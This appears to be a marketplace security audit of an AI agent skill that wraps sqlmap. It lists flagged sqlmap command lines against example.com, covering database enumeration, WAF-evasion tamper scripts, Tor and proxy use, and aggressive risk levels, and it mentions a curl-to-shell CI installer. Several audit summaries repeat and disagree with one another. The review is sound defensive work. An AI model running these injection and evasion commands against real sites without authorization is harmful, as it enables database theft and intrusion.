sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tor --check-tor
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL · 2 occurrences
sqlmap -u "http://example.com/login" \
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" \
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,between --random-agent
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --delay=3 --randomize
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --method=PUT
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
High
Hardcoded IP address
sqlmap -u "http://example.com/page?id=1" --proxy="http://127.0.0.1:8080"
The placeholder URL appears in a SQLMap command for data extraction, evasion, authentication bypass, or shell-style impact testing. This is dual-use offensive guidance.
Medium
Hardcoded URL · 2 occurrences
sqlmap -u "http://example.com/page?id=1" --dbs
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1&name=test" --level=5 --risk=3
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --current-db
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name --tables
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" -D database_name -T users --columns
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --users
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --privileges
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --batch
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --dbs --batch
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --current-user --current-db --is-dba --batch
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Medium
Hardcoded URL
sqlmap -u "http://example.com/page?id=1" --threads=5
The placeholder URL appears in SQLMap enumeration or aggressive testing guidance. It is legitimate with authorization, but can expose target database metadata if misused.
Static false positives ignored (2)
These static matches were dismissed by semantic review or matched schema-only tokens, so they are shown for transparency but do not drive the quality score.
High
C2 keywords
- **T1041**: Exfiltration Over C2 Channel
Force-confirmed blocker/high static finding; AI dismissal overridden.
High
Malware type keywords
[ ] 10. Remove malicious artifacts (malware, backdoors, webshells)
Force-confirmed blocker/high static finding; AI dismissal overridden.
Risk Factors
⚙️ External commands (53)
assets/ci-config-template.yml:298 assets/ci-config-template.yml:301 assets/ci-config-template.yml:304 assets/ci-config-template.yml:307 assets/ci-config-template.yml:310 assets/ci-config-template.yml:134 assets/ci-config-template.yml:250 assets/ci-config-template.yml:291 SKILL.md:34-46 SKILL.md:46-78 SKILL.md:78-87 SKILL.md:87-90 SKILL.md:90-99 SKILL.md:99-102 SKILL.md:102-111 SKILL.md:111-117 SKILL.md:117-132 SKILL.md:132-146 SKILL.md:146-164 SKILL.md:164-170 SKILL.md:170-185 SKILL.md:185-192 SKILL.md:192-198 SKILL.md:198-201 SKILL.md:201-210 SKILL.md:210-213 SKILL.md:213-219 SKILL.md:219-225 SKILL.md:225-246 SKILL.md:246-249 SKILL.md:249-250 SKILL.md:250-251 SKILL.md:251-252 SKILL.md:252-253 SKILL.md:253-254 SKILL.md:254-296 SKILL.md:296-305 SKILL.md:305-309 SKILL.md:309-322 SKILL.md:322-326 SKILL.md:326-338 SKILL.md:338-342 SKILL.md:342-354 SKILL.md:354-360 SKILL.md:360-369 SKILL.md:369-373 SKILL.md:373-388 SKILL.md:388-395 SKILL.md:395-404 SKILL.md:404-409 SKILL.md:409-418 SKILL.md:418-423 SKILL.md:423-432
🌐 Network access (90)
assets/ci-config-template.yml:240 assets/rule-template.yaml:43 assets/rule-template.yaml:44 assets/rule-template.yaml:45 assets/rule-template.yaml:73 assets/rule-template.yaml:118 assets/rule-template.yaml:119 assets/rule-template.yaml:151 assets/rule-template.yaml:191 assets/rule-template.yaml:192 assets/rule-template.yaml:193 assets/rule-template.yaml:217 assets/rule-template.yaml:260 assets/rule-template.yaml:261 assets/rule-template.yaml:288 SKILL.md:17 SKILL.md:18 SKILL.md:19 SKILL.md:36 SKILL.md:39 SKILL.md:45 SKILL.md:80 SKILL.md:83 SKILL.md:86 SKILL.md:92 SKILL.md:98 SKILL.md:104 SKILL.md:107 SKILL.md:110 SKILL.md:119 SKILL.md:122 SKILL.md:125 SKILL.md:128 SKILL.md:131 SKILL.md:148 SKILL.md:151 SKILL.md:154 SKILL.md:157 SKILL.md:160 SKILL.md:163 SKILL.md:172 SKILL.md:175 SKILL.md:178 SKILL.md:181 SKILL.md:184 SKILL.md:194 SKILL.md:197 SKILL.md:203 SKILL.md:206 SKILL.md:209 SKILL.md:215 SKILL.md:218 SKILL.md:227 SKILL.md:230 SKILL.md:233 SKILL.md:236 SKILL.md:239 SKILL.md:242 SKILL.md:245 SKILL.md:298 SKILL.md:301 SKILL.md:304 SKILL.md:311 SKILL.md:318 SKILL.md:328 SKILL.md:334 SKILL.md:344 SKILL.md:368 SKILL.md:375 SKILL.md:378 SKILL.md:381 SKILL.md:384 SKILL.md:387 SKILL.md:397 SKILL.md:400 SKILL.md:403 SKILL.md:411 SKILL.md:414 SKILL.md:417 SKILL.md:425 SKILL.md:428 SKILL.md:431 SKILL.md:460 SKILL.md:461 SKILL.md:462 SKILL.md:463 SKILL.md:464 SKILL.md:107 SKILL.md:242 SKILL.md:368
📁 Filesystem access (4)
🔑 Env variables (23)
assets/ci-config-template.yml:164 assets/rule-template.yaml:148 assets/rule-template.yaml:148 assets/rule-template.yaml:147 assets/rule-template.yaml:162 assets/rule-template.yaml:132 assets/rule-template.yaml:147 assets/rule-template.yaml:148 assets/rule-template.yaml:156 assets/rule-template.yaml:157 assets/rule-template.yaml:162 assets/rule-template.yaml:163 assets/rule-template.yaml:164 assets/rule-template.yaml:165 references/EXAMPLE.md:423 references/EXAMPLE.md:423 references/EXAMPLE.md:424 references/EXAMPLE.md:425 references/EXAMPLE.md:427 references/EXAMPLE.md:430 references/EXAMPLE.md:432 references/EXAMPLE.md:437 references/EXAMPLE.md:444
⚡ Contains scripts (2)
Detected Patterns
Pipe to shell patternSystem password file accessSystem reconnaissance
Audited by: codex
Jun 28, 2026, 06:35 AM
The static findings are mixed: generic reference templates create many false positives, but the main skill contains confirmed dual-use offensive sqlmap guidance. The skill is not deceptive and includes authorization warnings, but it provides explicit workflows for data extraction, file access, OS shells, WAF evasion, and Tor use, so it should not be published without strict marketplace controls.
5
Files scanned
1,984
Lines analyzed
10
Review items
2
False positives ignored
Capability review items (5)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
High
Dual-use SQL injection exploitation workflow
The main skill goes beyond detection and instructs users on database enumeration, table dumping, credential extraction, server file reads, file writes, and OS shell access. These are legitimate in authorized tests but can directly enable unauthorized compromise.
The cited sections explicitly describe data extraction, file access, and shell options in an sqlmap workflow. Authorization warnings reduce malicious-intent confidence but not operational risk.
High
WAF bypass and anonymity guidance
The skill teaches tamper scripts, random user agents, proxy use, Tor checks, method changes, and randomized delays. These techniques can support authorized testing, but they also lower barriers for evasion during unauthorized attacks.
The cited sections are semantically about bypassing blocking controls and changing request behavior. Legitimate security testing is possible, but evasion content is clearly present.
High
Unsafe pipe-to-shell installer pattern in CI template
The CI template includes a curl-to-shell installation pattern. If copied into a workflow, this executes remote code from the network during CI and creates supply-chain risk.
The pattern is a real remote-code execution risk in CI templates. It appears educational rather than malicious, but the dangerous usage is concrete.
Medium
Operational execution examples require strong scope controls
Many static external-command and network findings come from sqlmap command examples against example domains. The commands are not executed by the skill itself, but they are actionable instructions for invasive network testing.
The examples are documented commands rather than hidden code execution. Risk remains elevated because they are intended to be run by the user against web targets.
Medium
Credential and environment examples are mostly benign templates
The scanner flagged environment variables, token names, and secret examples in rule and CI templates. These are mostly demonstrative security-scanning examples, but they can normalize copying placeholder secrets or broad token access if used carelessly.
The semantic context is defensive examples and GitHub Actions configuration, so most secret hits are false positives. The confidence is medium because templates can still be copied into real workflows.
Static false positives ignored (2)
These static matches were dismissed by semantic review or matched schema-only tokens, so they are shown for transparency but do not drive the quality score.
Low
Static script and crypto hits in references are false positives
The document.write, innerHTML, MD5, SHA1, and API key patterns in the reference files are vulnerable-code examples used to teach detection and remediation. No evidence found that they are executable skill logic or hidden malicious behavior.
The surrounding text labels these snippets as examples, vulnerable patterns, and remediation material. This strongly supports a false-positive evaluation for those static hits.
Low
Prompt injection search found no evidence
No evidence found in the analyzed files for override instructions, fake system messages, pre-approval claims, or instructions to skip security review.
A targeted case-insensitive search across the listed files found no matching prompt-injection indicators. The confidence is high but limited to the inspected repository contents.
Risk Factors
⚙️ External commands (5)
🌐 Network access (4)
📁 Filesystem access (4)
🔑 Env variables (3)
Detected Patterns
sqlmap table and credential dumpingsqlmap server file read and file writesqlmap OS shell and SQL shell optionsWAF bypass and Tor optionsRemote script execution in CI template
Audited by: codex
Jan 16, 2026, 04:26 PM
This skill wraps sqlmap, a legitimate open-source penetration testing tool. Static findings (273 patterns) are TRUE POSITIVES for security-relevant operations but represent intentional functionality for authorized security testing. The skill includes explicit authorization requirements and ethical use guidelines. SQL injection testing can be destructive to databases and requires strict authorization controls.
6
Files scanned
2,195
Lines analyzed
4
Review items
0
False positives ignored
Risk Factors
⚙️ External commands (1)
🌐 Network access (1)
📁 Filesystem access (1)
🔑 Env variables (1)
Audited by: claude
Jan 16, 2026, 04:26 PM
This skill wraps sqlmap, a legitimate open-source penetration testing tool. Static findings (273 patterns) are TRUE POSITIVES for security-relevant operations but represent intentional functionality for authorized security testing. The skill includes explicit authorization requirements and ethical use guidelines. SQL injection testing can be destructive to databases and requires strict authorization controls.
6
Files scanned
2,195
Lines analyzed
4
Review items
0
False positives ignored
Risk Factors
⚙️ External commands (1)
🌐 Network access (1)
📁 Filesystem access (1)
🔑 Env variables (1)
Audited by: claude
Jan 10, 2026, 11:07 AM
Pure documentation skill containing no executable code. Provides SQLMap usage guidance, workflow checklists, and CI/CD security templates. All content focuses on authorized penetration testing with explicit authorization requirements. No scripts, network calls, file system access, or command execution capabilities present.
5
Files scanned
1,059
Lines analyzed
0
Review items
0
False positives ignored
No confirmed security findings were recorded for this completed audit.
Audited by: claude
Jan 10, 2026, 11:07 AM
Pure documentation skill containing no executable code. Provides SQLMap usage guidance, workflow checklists, and CI/CD security templates. All content focuses on authorized penetration testing with explicit authorization requirements. No scripts, network calls, file system access, or command execution capabilities present.
5
Files scanned
1,059
Lines analyzed
0
Review items
0
False positives ignored
No confirmed security findings were recorded for this completed audit.
Audited by: claude
Jan 10, 2026, 11:07 AM
Pure documentation skill containing no executable code. Provides SQLMap usage guidance, workflow checklists, and CI/CD security templates. All content focuses on authorized penetration testing with explicit authorization requirements. No scripts, network calls, file system access, or command execution capabilities present.
5
Files scanned
1,059
Lines analyzed
0
Review items
0
False positives ignored
No confirmed security findings were recorded for this completed audit.
Audited by: claude